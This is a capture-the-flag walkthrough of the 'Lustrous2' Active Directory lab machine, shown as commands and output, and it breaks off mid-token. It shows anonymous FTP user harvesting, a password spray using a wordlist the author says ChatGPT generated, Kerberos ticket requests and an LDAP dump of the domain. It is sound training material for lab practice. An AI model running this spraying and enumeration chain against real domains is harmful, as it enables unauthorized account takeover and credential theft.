Overview
- Type Machines
- OS Windows
- Severity Hard
- Creator xct
- Release date 2024 Sep 11
Enumeration
Start the instance via Discord, wait around 10 minutes for the machine to start all services and let’s go:
10.10.64.29
Nmap
$ nmap -sC -sV -Pn -p- --min-rate=1000 -T4 10.10.64.29
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 10:42 JST
Nmap scan report for lus2dc.lustrous2.vl (10.10.64.29)
Host is up (0.24s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open tcpwrapped
53/tcp open tcpwrapped
80/tcp open tcpwrapped
88/tcp open tcpwrapped
135/tcp open tcpwrapped
139/tcp open tcpwrapped
445/tcp open tcpwrapped
3389/tcp open tcpwrapped
|_ssl-date: 2025-01-30T01:46:05+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=LUS2DC.Lustrous2.vl
| Not valid before: 2024-09-06T06:56:23
|_Not valid after: 2025-03-08T06:56:23
49664/tcp open tcpwrapped
49671/tcp open tcpwrapped
49696/tcp open tcpwrapped
49708/tcp open tcpwrapped
62940/tcp open tcpwrapped
- Seems a domain controller of the domain lustrous2.vl (88/tcp kerberos is open).
- Main open ports are for FTP/HTTP server, DNS, LDAP, SMB and RDP.
- Add
lus2dc.lustrous2.vl,lustrous2.vlin in /etc/hosts
FTP (21/tcp) (Thomas.Myers & Emma.Bell)
Anonymous access is allowed:
$ nxc ftp lus2dc.lustrous2.vl -u 'anonymous' -p '' --ls
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [*] Banner: Microsoft FTP Service
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [+] anonymous: - Anonymous Login!
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [*] Directory Listing
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 04:20AM <DIR> Development
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Homes
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 08-31-24 12:57AM <DIR> HR
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 08-31-24 12:57AM <DIR> IT
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-09-24 09:25AM <DIR> ITSEC
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 08-31-24 12:58AM <DIR> Production
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 08-31-24 12:58AM <DIR> SEC
$ nxc ftp lus2dc.lustrous2.vl -u 'anonymous' -p '' --ls Homes
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [*] Banner: Microsoft FTP Service
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [+] anonymous: - Anonymous Login!
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [*] Directory Listing for Homes
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Aaron.Norman
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Adam.Barnes
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Amber.Ward
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Andrea.Smith
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Ann.Lynch
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Callum.Oliver
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Carly.Walker
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Chelsea.Smith
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Chloe.Hammond
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Christopher.Lawson
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Claire.Parry
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Darren.Lewis
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Deborah.Jones
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Dominic.West
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Duncan.Smith
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Elaine.Gallagher
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Eleanor.Gregory
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Emma.Bell
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Francesca.Norman
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Gary.Richards
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Gerard.Ward
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Glenn.Williams
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Graeme.Pritchard
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Harriet.Richardson
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Henry.Connor
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Howard.Robinson
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Jacqueline.Phillips
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Janice.Collier
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Jasmine.Johnson
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Joan.Wall
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Judith.Francis
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Justin.Williams
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Kyle.Hussain
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Kyle.Lloyd
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Lawrence.Bryan
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Leah.Elliott
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Lewis.Khan
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Liam.Wheeler
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Lisa.Begum
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Louis.Phillips
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Lydia.Parker
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Malcolm.Yates
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Marie.Hill
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Martin.Hamilton
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Mathew.Roberts
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Melissa.Thompson
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Nathan.Carter
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Nicola.Clarke
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Nicola.Hall
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Nigel.Lee
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Pamela.Taylor
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Robert.Russell
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Ryan.Davies
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Ryan.Moore
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Ryan.Rowe
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Samantha.Smith
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Sara.Matthews
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> ShareSvc
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Sharon.Birch
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Sharon.Evans
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Stacey.Barber
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Stacey.Griffiths
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Stephanie.Baxter
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Stephanie.Davies
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Steven.Sutton
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Susan.Johnson
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Terence.Jordan
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Thomas.Myers
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Tony.Davies
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Victoria.Williams
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-06-24 11:03PM <DIR> Wayne.Taylor
$ nxc ftp lus2dc.lustrous2.vl -u 'anonymous' -p '' --ls ITSEC
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [*] Banner: Microsoft FTP Service
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [+] anonymous: - Anonymous Login!
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [*] Directory Listing for ITSEC
FTP 10.10.64.29 21 lus2dc.lustrous2.vl 09-07-24 02:50AM 207 audit_draft.txt
Found the users list in
Homesand a fileaudit_draft.txtin ITSEC
Grab the names and collect them in a clean all_users.txt file:
$ nxc ftp lus2dc.lustrous2.vl -u 'anonymous' -p '' --ls Homes | while read x; do if [[ $x == *"<DIR>"* ]]; then echo ${x##* }; fi; done > all_users.txt
Download the audit_draft.txt file and read it:
$ nxc ftp lus2dc.lustrous2.vl -u 'anonymous' -p '' --get ITSEC/audit_draft.txt
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [*] Banner: Microsoft FTP Service
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [+] anonymous: - Anonymous Login!
FTP 10.10.64.29 21 lus2dc.lustrous2.vl [+] Downloaded: ITSEC/audit_draft.txt
$ cat audit_draft.txt
Audit Report Issue Tracking
[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled
[Open] Weak User Passwords
Security has been improved, included signing and channel binding enabled so maybe that means kerberos/gssapi/channel binding attacks
Create a custom wordlist using ChatGPT 4o mini:
The custom_wordlist.txt output:
$ cat custom_wordlist.txt
Lustrous2!
Lustrous2@
Lustrous2#
Lustrous2$
Lustrous2%
Lustrous2^
Lustrous2&
Lustrous2*
Spring!
Spring@
Spring#
Spring$
Spring%
Spring^
Spring&
Spring*
Summer!
Summer@
Summer#
Summer$
Summer%
Summer^
Summer&
Summer*
Autumn!
Autumn@
Autumn#
Autumn$
Autumn%
Autumn^
Autumn&
Autumn*
Winter!
Winter@
Winter#
Winter$
Winter%
Winter^
Winter&
Winter*
Lustrous2024
Lustrous22024
Lustrous22024!
Lustrous22024@
Lustrous22024#
Lustrous22024$
Lustrous22024%
Lustrous22024^
Lustrous22024&
Lustrous22024*
Lustrous2025
Lustrous22025
Lustrous22025!
Lustrous22025@
Lustrous22025#
Lustrous22025$
Lustrous22025%
Lustrous22025^
Lustrous22025&
Lustrous22025*
Spring2024
Spring2024!
Spring2024@
Spring2024#
Spring2024$
Spring2024%
Spring2024^
Spring2024&
Spring2024*
Spring2025
Spring2025!
Spring2025@
Spring2025#
Spring2025$
Spring2025%
Spring2025^
Spring2025&
Spring2025*
Summer2024
Summer2024!
Summer2024@
Summer2024#
Summer2024$
Summer2024%
Summer2024^
Summer2024&
Summer2024*
Summer2025
Summer2025!
Summer2025@
Summer2025#
Summer2025$
Summer2025%
Summer2025^
Summer2025&
Summer2025*
Autumn2024
Autumn2024!
Autumn2024@
Autumn2024#
Autumn2024$
Autumn2024%
Autumn2024^
Autumn2024&
Autumn2024*
Autumn2025
Autumn2025!
Autumn2025@
Autumn2025#
Autumn2025$
Autumn2025%
Autumn2025^
Autumn2025&
Autumn2025*
Winter2024
Winter2024!
Winter2024@
Winter2024#
Winter2024$
Winter2024%
Winter2024^
Winter2024&
Winter2024*
Winter2025
Winter2025!
Winter2025@
Winter2025#
Winter2025$
Winter2025%
Winter2025^
Winter2025&
Winter2025*
Let’s go for password spray attack:
$ nxc ldap lus2dc.lustrous2.vl -u all_users.txt -p custom_wordlist.txt --continue-on-success
LDAP 10.10.64.29 389 LUS2DC.Lustrous2.vl [*] x64 (name:LUS2DC.Lustrous2.vl) (domain:Lustrous2.vl) (signing:True) (SMBv1:False)
LDAP 10.10.64.29 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Aaron.Norman:Lustrous2! STATUS_NOT_SUPPORTED
LDAP 10.10.64.29 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Adam.Barnes:Lustrous2! STATUS_NOT_SUPPORTED
LDAP 10.10.64.29 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Amber.Ward:Lustrous2! STATUS_NOT_SUPPORTED
LDAP 10.10.64.29 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Andrea.Smith:Lustrous2! STATUS_NOT_SUPPORTED
...
I forget that we saw previously
[Fixed] NTLM Authentication Allowedso NTLM is disabled and authentication is only possible via kerberos.
We can spray using nxc and kerberos by adding the -k flag as follow:
$ nxc ldap lus2dc.lustrous2.vl -u all_users.txt -p custom_wordlist.txt --continue-on-success -k
LDAP lus2dc.lustrous2.vl 389 LUS2DC.Lustrous2.vl [*] x64 (name:LUS2DC.Lustrous2.vl) (domain:Lustrous2.vl) (signing:True) (SMBv1:False)
LDAP lus2dc.lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Aaron.Norman:Lustrous2! KDC_ERR_PREAUTH_FAILED
LDAP lus2dc.lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Adam.Barnes:Lustrous2! KDC_ERR_PREAUTH_FAILED
LDAP lus2dc.lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Amber.Ward:Lustrous2! KDC_ERR_PREAUTH_FAILED
LDAP lus2dc.lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Andrea.Smith:Lustrous2! KDC_ERR_PREAUTH_FAILED
LDAP lus2dc.lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Ann.Lynch:Lustrous2! KDC_ERR_PREAUTH_FAILED
LDAP lus2dc.lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Callum.Oliver:Lustrous2! KDC_ERR_PREAUTH_FAILED
LDAP lus2dc.lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Carly.Walker:Lustrous2! KDC_ERR_PREAUTH_FAILED
LDAP lus2dc.lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Chelsea.Smith:Lustrous2! KDC_ERR_PREAUTH_FAILED
LDAP lus2dc.lustrous2.vl 389 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Chloe.Hammond:Lustrous2! KDC_ERR_PREAUTH_FAILED
...
LDAPS lus2dc.lustrous2.vl 636 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Thomas.Myers:Lustrous2024
...
LDAPS lus2dc.lustrous2.vl 636 LUS2DC.Lustrous2.vl [-] Lustrous2.vl\Emma.Bell:Summer2024!
...
No
KDC_ERR_PREAUTH_FAILEDerror for 2 users:Thomas.MyersandEmma.Bell
Double check:
$ nxc smb lus2dc.lustrous2.vl -u 'Emma.Bell' -p 'Summer2024!' -k
SMB lus2dc.lustrous2.vl 445 lus2dc [*] x64 (name:lus2dc) (domain:lustrous2.vl) (signing:True) (SMBv1:False)
SMB lus2dc.lustrous2.vl 445 lus2dc [+] lustrous2.vl\Emma.Bell:Summer2024!
$ nxc smb lus2dc.lustrous2.vl -u 'Thomas.Myers' -p 'Lustrous2024' -k
SMB lus2dc.lustrous2.vl 445 lus2dc [*] x64 (name:lus2dc) (domain:lustrous2.vl) (signing:True) (SMBv1:False)
SMB lus2dc.lustrous2.vl 445 lus2dc [+] lustrous2.vl\Thomas.Myers:Lustrous2024
Confirmed we got the valid credentials for 2 users
Get a TGT for Thomas.Myers:
$ impacket-getTGT lustrous2.vl/thomas.myers:'Lustrous2024' -dc-ip lus2dc.lustrous2.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in thomas.myers.ccache
Inject to our global environement:
$ export KRB5CCNAME=thomas.myers.ccache
$ klist
Ticket cache: FILE:thomas.myers.ccache
Default principal: thomas.myers@LUSTROUS2.VL
Valid starting Expires Service principal
01/30/2025 12:32:55 01/30/2025 22:32:55 krbtgt/LUSTROUS2.VL@LUSTROUS2.VL
renew until 01/31/2025 12:32:56
LDAPS enumeration (636/tcp)
We install ldeep because netexec (at the moment where this writeup has been written 2005-01) did not work correctly with the bloodhound module and kerberos auth:
$ pipx install ldeep
installed package ldeep 1.0.81, installed using Python 3.12.8
These apps are now globally available
- ldeep
done! ✨ 🌟 ✨
Full LDAPS enumeration (AD dump):
$ mkdir ldeep_lustrous2
$ ldeep ldap -k -s ldaps://lus2dc.lustrous2.vl -d lustrous2.vl all ldeep_lustrous2/
[+] Retrieving auth_policies output
[+] Retrieving auth_policies verbose output
[+] Retrieving bitlockerkeys output
[+] Retrieving bitlockerkeys verbose output
[+] Retrieving computers output
[+] Retrieving conf output
[+] Retrieving delegations output
[+] Retrieving delegations verbose output
[+] Retrieving delegations verbose output
[+] Retrieving delegations verbose output
...
Quick check in the enabled users list about Admin accounts:
$ cat _users_enabled.json | jq | grep -I -C10 'Admins'
"dn": "CN=Henry Connor,OU=lustrous,DC=Lustrous2,DC=vl",
"givenName": "Henry",
"homeDirectory": "\\\\LUS2DC.Lustrous2.vl\\homes$\\Henry.Connor",
"homeDrive": "F:",
"instanceType": 4,
"lastLogoff": "1601-01-01T00:00:00+00:00",
"lastLogon": "1601-01-01T00:00:00+00:00",
"logonCount": 0,
"memberOf": [
"CN=lustrous,CN=Users,DC=Lustrous2,DC=vl",
"CN=Domain Admins,CN=Users,DC=Lustrous2,DC=vl"
],
"name": "Henry Connor",
"objectCategory": "CN=Person,CN=Schema,CN=Configuration,DC=Lustrous2,DC=vl",
"objectClass": [
"top",
"person",
"organizationalPerson",
"user"
],
"objectGUID": "{ae124eba-5f48-400f-b695-a4650d3c6fd3}",
--
"dn": "CN=Howard Robinson,OU=lustrous,DC=Lustrous2,DC=vl",
"givenName": "Howard",
"homeDirectory": "\\\\LUS2DC.Lustrous2.vl\\homes$\\Howard.Robinson",
"homeDrive": "F:",
"instanceType": 4,
"lastLogoff": "1601-01-01T00:00:00+00:00",
"lastLogon": "1601-01-01T00:00:00+00:00",
"logonCount": 0,
"memberOf": [
"CN=lustrous,CN=Users,DC=Lustrous2,DC=vl",
"CN=Domain Admins,CN=Users,DC=Lustrous2,DC=vl"
],
"name": "Howard Robinson",
"objectCategory": "CN=Person,CN=Schema,CN=Configuration,DC=Lustrous2,DC=vl",
"objectClass": [
"top",
"person",
"organizationalPerson",
"user"
],
"objectGUID": "{7d13b789-1aa8-49b8-9e1d-db188401a0ea}",
--
"distinguishedName": "CN=Sharon Birch,OU=lustrous,DC=Lustrous2,DC=vl",
"dn": "CN=Sharon Birch,OU=lustrous,DC=Lustrous2,DC=vl",
"givenName": "Sharon",
"homeDirectory": "\\\\LUS2DC.Lustrous2.vl\\homes$\\Sharon.Birch",
"homeDrive": "F:",
"instanceType": 4,
"lastLogoff": "1601-01-01T00:00:00+00:00",
"lastLogon": "1601-01-01T00:00:00+00:00",
"logonCount": 0,
"memberOf": [
"CN=ShareAdmins,OU=lustrous,DC=Lustrous2,DC=vl",
"CN=lustrous,CN=Users,DC=Lustrous2,DC=vl"
],
"msDS-SupportedEncryptionTypes": 0,
"name": "Sharon Birch",
"objectCategory": "CN=Person,CN=Schema,CN=Configuration,DC=Lustrous2,DC=vl",
"objectClass": [
"top",
"person",
"organizationalPerson",
"user"
--
"dn": "CN=Ryan Davies,OU=lustrous,DC=Lustrous2,DC=vl",
"givenName": "Ryan",
"homeDirectory": "\\\\LUS2DC.Lustrous2.vl\\homes$\\Ryan.Davies",
"homeDrive": "F:",
"instanceType": 4,
"lastLogoff": "1601-01-01T00:00:00+00:00",
"lastLogon": "1601-01-01T00:00:00+00:00",
"lastLogonTimestamp": "2024-09-07T10:50:05.598505+00:00",
"logonCount": 0,
"memberOf": [
"CN=ShareAdmins,OU=lustrous,DC=Lustrous2,DC=vl",
"CN=lustrous,CN=Users,DC=Lustrous2,DC=vl"
],
"msDS-SupportedEncryptionTypes": 0,
"name": "Ryan Davies",
"objectCategory": "CN=Person,CN=Schema,CN=Configuration,DC=Lustrous2,DC=vl",
"objectClass": [
"top",
"person",
"organizationalPerson",
"user"
--
"distinguishedName": "CN=Administrator,CN=Users,DC=Lustrous2,DC=vl",
"dn": "CN=Administrator,CN=Users,DC=Lustrous2,DC=vl",
"instanceType": 4,
"isCriticalSystemObject": true,
"lastLogoff": "1601-01-01T00:00:00+00:00",
"lastLogon": "2024-10-20T15:55:26.336658+00:00",
"lastLogonTimestamp": "2024-10-20T15:54:35.310734+00:00",
"logonCount": 20,
"memberOf": [
"CN=Group Policy Creator Owners,CN=Users,DC=Lustrous2,DC=vl",
"CN=Domain Admins,CN=Users,DC=Lustrous2,DC=vl",
"CN=Enterprise Admins,CN=Users,DC=Lustrous2,DC=vl",
"CN=Schema Admins,CN=Users,DC=Lustrous2,DC=vl",
"CN=Administrators,CN=Builtin,DC=Lustrous2,DC=vl"
],
"name": "Administrator",
"objectCategory": "CN=Person,CN=Schema,CN=Configuration,DC=Lustrous2,DC=vl",
"objectClass": [
"top",
"person",
"organizationalPerson",
"user"
],
Ryan DaviesandSharon Birchare inShareAdminsgroupHenry ConnorandHoward Robinsonare inDomain Adminsgroup
WEB (80/tcp)
We check the access to the website:
$ curl http://lus2dc.lustrous2.vl -I
HTTP/1.1 401 Unauthorized
Transfer-Encoding: chunked
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate
X-Powered-By: ASP.NET
Date: Thu, 30 Jan 2025 04:54:15 GMT
Authentication is required
Note
- In order to make kerberos authentication work from our non-domain joined linux attacker machine, we need to configure
krb5.conf(install withsudo apt install krb5-userif needed).
Our Kerberos real configuration:
$ cat /etc/krb5.conf
[libdefaults]
default_realm = LUSTROUS2.VL
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
fcc-mit-ticketflags = true
dns_canonicalize_hostname = false
dns_lookup_realm = false
dns_lookup_kdc = true
k5login_authoritative = false
[realms]
LUSTROUS2.VL = {
kdc = lus2dc.lustrous2.vl
admin_server = lustrous2.vl
default_admin = lustrous2.vl
}
[domain_realm]
.lustrous2.vl = LUSTROUS2.VL
So try using Kerberos:
$ curl --negotiate -u : http://lus2dc.lustrous2.vl -I
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate oYG3MIG0oAMKAQChCwYJKoZIhvcSAQICooGfBIGcYIGZBgkqhkiG9xIBAgICAG+BiTCBhqADAgEFoQMCAQ+iejB4oAMCARKicQRvDD/O1wosz/68eTYQS5lOLoQFZcNOtf/3AQypGU+GWBfACBWlqWkF8lMAlnDQ4q7uzciJLqwqH8rmy1UqA5PQ35SV8jVkR2YCyKm6c1o1NYl+aN17QnAnlscL2UwQqqtHhzKZ+5mdLZQYcEcJeRpR
Persistent-Auth: true
X-Powered-By: ASP.NET
Date: Thu, 30 Jan 2025 07:59:41 GMT
Works
Now we will configure our Firefox browser to be able to use Kerberos authentication, we put about:config in the search bar then add the below settings:
network.negotiate-auth.delegation-uris: lustrous2.vl
network.negotiate-auth.trusted-uris: lustrous2.vl
network.negotiate-auth.using-native-gsslib: true
Change from:
to:
Then open Firefox from our terminal (where we have injected the TGT):
$ firefox
Then we can access to the website:
We can also do the same with cURL:
$ curl --negotiate -u : http://lus2dc.lustrous2.vl -v
* Host lus2dc.lustrous2.vl:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.99.159
* Trying 10.10.99.159:80...
* Connected to lus2dc.lustrous2.vl (10.10.99.159) port 80
* using HTTP/1.x
* Server auth using Negotiate with user ''
> GET / HTTP/1.1
> Host: lus2dc.lustrous2.vl
> Authorization: Negotiate YIIGXAYGKwYBBQUCoIIGUDCCBkygDTALBgkqhkiG9xIBAgKiggY5BIIGNWCCBjEGCSqGSIb3EgECAgEAboIGIDCCBhygAwIBBaEDAgEOogcDBQAgAAAAo4IFLGGCBSgwggUkoAMCAQWhDhsMTFVTVFJPVVMyLlZMoiYwJKADAgEDoR0wGxsESFRUUBsTbHVzMmRjLmx1c3Ryb3VzMi52bKOCBOMwggTfoAMCARKhAwIBA6KCBNEEggTN79PBo5S6LBGmN78O6/B622Ti3lK3WDIQMdgn+/c/Gpy+y127yRJEZH0OB8G2WY4qu2g07FhFrYZGFhdmzyIQiVjll/t7qGjNZvtS9nXBVpVdsSXU1p2O0BCkUvmDm0M1OuTATF4x9rIflm6LuM2wNw2ITDmV3WzBiYXwYoeCavOV7Tpvz77OU7cltvDaNCKwco+lIz2dWYX4iMgI1bzl9NcVjiBJrp+mcCiVI0RQgVFW6ZYwpuvIweXpn/0dI+8c9Fwjus/oswfb6XdDoq0mAjxYD4CLEmgzWoc6C+nmvNnEiF7EQ4hmEtIhCmgSN1vuYPCskr6xD+OnX7qaDApCgkgU/PE2X4xvj5KBgNlyLOtA5GLZif0CVSYTGnItW8tmh5zC//RmXsP+8ITQ8R/Qx0iWYoTBiiWlHLz2F8KCcTowDj2xTAOMyHx3dLtQiFRDJeSaJmUS+vx5yklaZ55qqwgU4qjNY/LmsMNPpkoZV+GUmBWbYSs8Q0B7wgy7tbQanKGEVO8omxqw4mxtjQKzj5R/w+4jvleqiLKnTZFMtBd5zITQZBwtA4GgOz2VQ/apedvzMPfui56FUKUQ/KK410uFP+IgS+x6n9DLdVrK3O2HnBVo7jSsKypWjJEoypft4iv/ojyYzWXAPuB7myzyrr7ZkQBIVr7kAE1Mnh+TTzZTvWFk/Kdx6OIMKSHwRjEVQaMYn8XaL42OClf2BiitP772u7RjhKM+DjBw2xqqznZ9DvzjAFtsKgUb6YLIGWrj7VhykxSYvchMOfB4/DYu9I5bEPiT+gJRJxxneDZButqzqjjcVlpEx3zk+Cl3wXQC6F4KJBjeCuj6yD02zxtzBtkr7WSG7HLfZm5HwGDhvkumV5H4YIu1OWrc6drgRDDdUqcVcKp3UrZIYAu8mWNuKz1NPCiNubqT1EMPzXYq4LC2pj8DPzC+efJTqi+FAE1jUF40CWi22mj0waOuwGZOk85nvoc+lNWxtdX1D7g+kxc6bwOYTJfwtJi6LtLUUTNYlx7x97Y5o4aEjac9dXg26qlpV7gJzgYiWhWPDNxzZ4MTUpXzUf0WbzpjAY0XtSi7cUfmJ6ODQHn4IVoENov7INMO6LLBfmmzThlwjj19Fr4tGS4IHzTwUj1+gYdTriAerwj05RFRyKk+PbSUM5Pln6AW3Z29tBpJ5SRK/X5IsrvSy0dfSkXydzjBOpygwV1pEcLnQvHJjGn/THaN2hiBPvcQ8CGPd6QXMbPxgAvUv0x+6aWOkcbJEK5TkvKnCPQHSASn4eb8BLzreYijbongxLpJAomBR2w02gSkujvD+bA4EXfWZbKB7a4LrG98pTzPMFtG56mL2lmnYWlfqKs6R2BfDnw7obcFGHjPXiZ0Ra1Ps7hncEzP18qaIFVgc1W42QWTBg5cJssAjHb92+6+mrMdp86BVA4C2JtxgddEHQ5kDGIAXnYrxqWdBMu5LyifWrPsV/bDajkyI32QhPh9r0+CQE2WIFWmWL42NgkmlWkp8mYGo8JdF+Mmrp4hpFUIWy/oiinrkH77REbX+a2sNjho7MgqyqTTd/BNrnBXEDXzJmtzYX1zYn0kkBpnrJLv5fHyuLVXy9LnolHaqtXIWWvniPVW/iskj+TxEPOkgdYwgdOgAwIBEqKBywSByI+XNoElSZ87TQvpdkyuK/HjIf2gAu8xp5y9TLhMwLM54IfpWu+UTv2X0bVzWpoFyqRSHRD0hldp